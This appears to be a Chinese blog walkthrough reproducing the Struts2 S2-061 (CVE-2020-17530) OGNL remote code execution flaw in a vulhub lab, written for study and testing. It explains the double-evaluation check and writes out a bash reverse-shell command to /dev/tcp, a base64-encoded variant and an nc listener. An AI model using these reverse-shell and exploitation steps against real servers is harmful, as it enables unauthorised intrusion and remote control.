CVE-2020-17530 Struts2-061远程代码执行漏洞

漏洞背景

在 Struts 2.5.25 之前的版本中,当对标签属性中的原始用户输入进行评估时,可能会导致远程代码执行。此漏洞是绕过 OGNL 沙箱,在 S2-059 之后增强。

漏洞原理

漏洞利用是因为strust2会对一些标签属性进行二次表达式解析,当标签中使用了%{}其内容可控,即可构造一些恶意远程命令的payload,并传入到标签属性中。

复现过程

首先启动vulhub环境,找到vulhub中struts2/s2-061并启动

docker-compose up -d

在这里插入图片描述
启动成功后查看容器

docker ps -a

在这里插入图片描述进入到环境里,ip:8080
在这里插入图片描述这里采用.action?id=%25{2*2}进行测试,这里%25为url编码相当于“%”,此处如果显示为2*2则表示没有进行二次解析,如果为id=“4”的话,说明进行了二次解析,此处可以说明漏洞存在。

接下来进行抓包,其中的arglist.add()函数为想要执行的命令,此处为构造数据包,其中arglist.add执行的是whoami,可以查看到回显为root

在这里插入图片描述
接下来构造payload来反弹shell

bash -i >& /dev/tcp/ip/2022 0>&1
base64编码之后放到
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk2LjEyOC8yMDIyIDA+JjE==}|{base64,-d} {bash -i}

然后将放到函数里,构成payload
打开nc监听
nc -lvp 2022
在这里插入图片描述

在这里插入图片描述
成功反弹shell

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值